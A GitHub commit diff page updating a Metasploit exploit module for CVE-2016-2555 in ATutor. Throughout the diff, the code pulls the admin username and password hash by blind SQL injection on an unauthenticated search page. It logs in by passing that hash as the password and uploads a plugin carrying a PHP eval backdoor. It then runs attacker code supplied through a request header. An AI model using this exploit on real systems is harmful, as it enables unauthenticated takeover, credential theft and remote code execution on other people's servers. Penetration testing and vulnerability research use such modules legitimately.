Skip to content

Commit a4ef998

Browse files
committed
Land rapid7#6677, atutor_sqli update
2 parents 4d5695f + d9d257c commit a4ef998

File tree

1 file changed

+45
-112
lines changed

1 file changed

+45
-112
lines changed

modules/exploits/multi/http/atutor_sqli.rb

Lines changed: 45 additions & 112 deletions
Original file line numberDiff line numberDiff line change
@@ -17,10 +17,7 @@ def initialize(info={})
1717
'Description' => %q{
1818
This module exploits a SQL Injection vulnerability and an authentication weakness
1919
vulnerability in ATutor. This essentially means an attacker can bypass authenication
20-
and reach the administrators interface where they can upload malcious code.
21-
22-
You are required to login to the target to reach the SQL Injection, however this
23-
can be done as a student account and remote registration is enabled by default.
20+
and reach the administrator's interface where they can upload malicious code.
2421
},
2522
'License' => MSF_LICENSE,
2623
'Author' =>
@@ -30,7 +27,8 @@ def initialize(info={})
3027
'References' =>
3128
[
3229
[ 'CVE', '2016-2555' ],
33-
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
30+
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
31+
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
3432
],
3533
'Privileged' => false,
3634
'Payload' =>
@@ -45,9 +43,7 @@ def initialize(info={})
4543

4644
register_options(
4745
[
48-
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
49-
OptString.new('USERNAME', [true, 'The username to authenticate as']),
50-
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
46+
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
5147
],self.class)
5248
end
5349

@@ -65,14 +61,7 @@ def print_good(msg='')
6561

6662
def check
6763
# the only way to test if the target is vuln
68-
begin
69-
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
70-
rescue Msf::Exploit::Failed => e
71-
vprint_error(e.message)
72-
return Exploit::CheckCode::Unknown
73-
end
74-
75-
if test_injection(test_cookie)
64+
if test_injection
7665
return Exploit::CheckCode::Vulnerable
7766
else
7867
return Exploit::CheckCode::Safe
@@ -86,8 +75,8 @@ def create_zip_file
8675
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
8776

8877
path = "#{@plugin_name}/#{@payload_name}.php"
89-
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")
90-
78+
# this content path is where the ATutor authors recommended installing it
79+
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
9180
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
9281
zip_file.pack
9382
end
@@ -97,7 +86,7 @@ def exec_code
9786
'method' => 'GET',
9887
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
9988
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
100-
})
89+
}, 0.1)
10190
end
10291

10392
def upload_shell(cookie)
@@ -110,139 +99,91 @@ def upload_shell(cookie)
11099
'method' => 'POST',
111100
'data' => data,
112101
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
113-
'cookie' => cookie,
114-
'agent' => 'Mozilla'
102+
'cookie' => cookie
115103
})
116104

117105
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
118106
res = send_request_cgi({
119107
'method' => 'GET',
120108
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
121-
'cookie' => cookie,
122-
'agent' => 'Mozilla',
109+
'cookie' => cookie
123110
})
124111
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
125112
res = send_request_cgi({
126113
'method' => 'GET',
127114
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
128-
'cookie' => cookie,
129-
'agent' => 'Mozilla',
115+
'cookie' => cookie
130116
})
131117
return true
132118
end
133119
end
134-
135-
# auth failed if we land here, bail
120+
# unknown failure...
136121
fail_with(Failure::Unknown, "Unable to upload php code")
137122
return false
138123
end
139124

140-
def get_hashed_password(token, password, bypass)
141-
if bypass
142-
return Rex::Text.sha1(password + token)
143-
else
144-
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
145-
end
146-
end
147-
148-
def login(username, password, bypass)
149-
res = send_request_cgi({
150-
'method' => 'GET',
151-
'uri' => normalize_uri(target_uri.path, "login.php"),
152-
'agent' => 'Mozilla',
153-
})
154-
155-
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
156-
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
157-
if bypass
158-
password = get_hashed_password(token, password, true)
159-
else
160-
password = get_hashed_password(token, password, false)
161-
end
162-
125+
def login(username, hash)
126+
password = Rex::Text.sha1(hash)
163127
res = send_request_cgi({
164128
'method' => 'POST',
165129
'uri' => normalize_uri(target_uri.path, "login.php"),
166130
'vars_post' => {
167131
'form_password_hidden' => password,
168132
'form_login' => username,
169-
'submit' => 'Login'
133+
'submit' => 'Login',
134+
'token' => ''
170135
},
171-
'cookie' => cookie,
172-
'agent' => 'Mozilla'
173136
})
174-
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
175-
176-
# this is what happens when no state is maintained by the http client
177-
if res && res.code == 302
178-
if res.redirection.to_s.include?('bounce.php?course=0')
179-
res = send_request_cgi({
180-
'method' => 'GET',
181-
'uri' => normalize_uri(target_uri.path, res.redirection),
182-
'cookie' => cookie,
183-
'agent' => 'Mozilla'
184-
})
185-
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
186-
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
187-
res = send_request_cgi({
188-
'method' => 'GET',
189-
'uri' => normalize_uri(target_uri.path, res.redirection),
190-
'cookie' => cookie,
191-
'agent' => 'Mozilla'
192-
})
193-
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
194-
return cookie
195-
end
196-
else res.redirection.to_s.include?('admin/index.php')
197-
# if we made it here, we are admin
198-
return cookie
199-
end
137+
# poor developer practices
138+
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
139+
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
140+
# if we made it here, we are admin
141+
report_cred(user: username, password: hash)
142+
return cookie
200143
end
201-
202144
# auth failed if we land here, bail
203145
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
204146
return nil
205147
end
206148

207-
def perform_request(sqli, cookie)
149+
def perform_request(sqli)
208150
# the search requires a minimum of 3 chars
209151
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
210152
rand_key = Rex::Text.rand_text_alpha(1)
211153
res = send_request_cgi({
212154
'method' => 'POST',
213-
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
155+
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
214156
'vars_post' => {
215157
"search_friends_#{rand_key}" => sqli,
216158
'rand_key' => rand_key,
217-
'search' => 'Search People'
159+
'search' => 'Search'
218160
},
219-
'cookie' => cookie,
220-
'agent' => 'Mozilla'
221161
})
222162
return res.body
223163
end
224164

225-
def dump_the_hash(cookie)
165+
def dump_the_hash
226166
extracted_hash = ""
227167
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
228-
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
168+
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
229169
for i in 1..login_and_hash_length
230170
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
231-
asciival = generate_sql_and_test(false, false, sqli, cookie)
171+
asciival = generate_sql_and_test(false, false, sqli)
232172
if asciival >= 0
233173
extracted_hash << asciival.chr
234174
end
235175
end
236176
return extracted_hash.split(":")
237177
end
238178

239-
def get_ascii_value(sql, cookie)
179+
# greetz to rsauron & the darkc0de crew!
180+
def get_ascii_value(sql)
240181
lower = 0
241182
upper = 126
242183
while lower < upper
243184
mid = (lower + upper) / 2
244185
sqli = "#{sql}>#{mid}"
245-
result = perform_request(sqli, cookie)
186+
result = perform_request(sqli)
246187
if result =~ /There are \d+ entries\./
247188
lower = mid + 1
248189
else
@@ -253,35 +194,35 @@ def get_ascii_value(sql, cookie)
253194
value = lower
254195
else
255196
sqli = "#{sql}=#{lower}"
256-
result = perform_request(sqli, cookie)
197+
result = perform_request(sqli)
257198
if result =~ /There are \d+ entries\./
258199
value = lower
259200
end
260201
end
261202
return value
262203
end
263204

264-
def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
205+
def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
265206
if do_test
266207
if do_true
267-
result = perform_request("1=1", cookie)
208+
result = perform_request("1=1")
268209
if result =~ /There are \d+ entries\./
269210
return true
270211
end
271212
else not do_true
272-
result = perform_request("1=2", cookie)
213+
result = perform_request("1=2")
273214
if not result =~ /There are \d+ entries\./
274215
return true
275216
end
276217
end
277218
elsif not do_test and sql
278-
return get_ascii_value(sql, cookie)
219+
return get_ascii_value(sql)
279220
end
280221
end
281222

282-
def test_injection(cookie)
283-
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
284-
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
223+
def test_injection
224+
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
225+
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
285226
return true
286227
end
287228
end
@@ -303,6 +244,8 @@ def report_cred(opts)
303244
private_data: opts[:password],
304245
origin_type: :service,
305246
private_type: :password,
247+
private_type: :nonreplayable_hash,
248+
jtr_format: 'sha512',
306249
username: opts[:user]
307250
}.merge(service_data)
308251

@@ -316,24 +259,14 @@ def report_cred(opts)
316259
end
317260

318261
def exploit
319-
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
320-
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
321-
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
322-
323-
print_status("Dumping username and password hash...")
324-
# we got admin hash now
325-
credz = dump_the_hash(student_cookie)
326-
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
262+
print_status("Dumping the username and password hash...")
263+
credz = dump_the_hash
327264
if credz
328-
admin_cookie = login(credz[0], credz[1], true)
329-
print_status("Logged in as #{credz[0]}, uploading shell...")
330-
# install a plugin
265+
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
266+
admin_cookie = login(credz[0], credz[1])
331267
if upload_shell(admin_cookie)
332-
print_good("Shell upload successful!")
333-
# boom
334268
exec_code
335269
end
336270
end
337271
end
338272
end
339-

0 commit comments

Comments
 (0)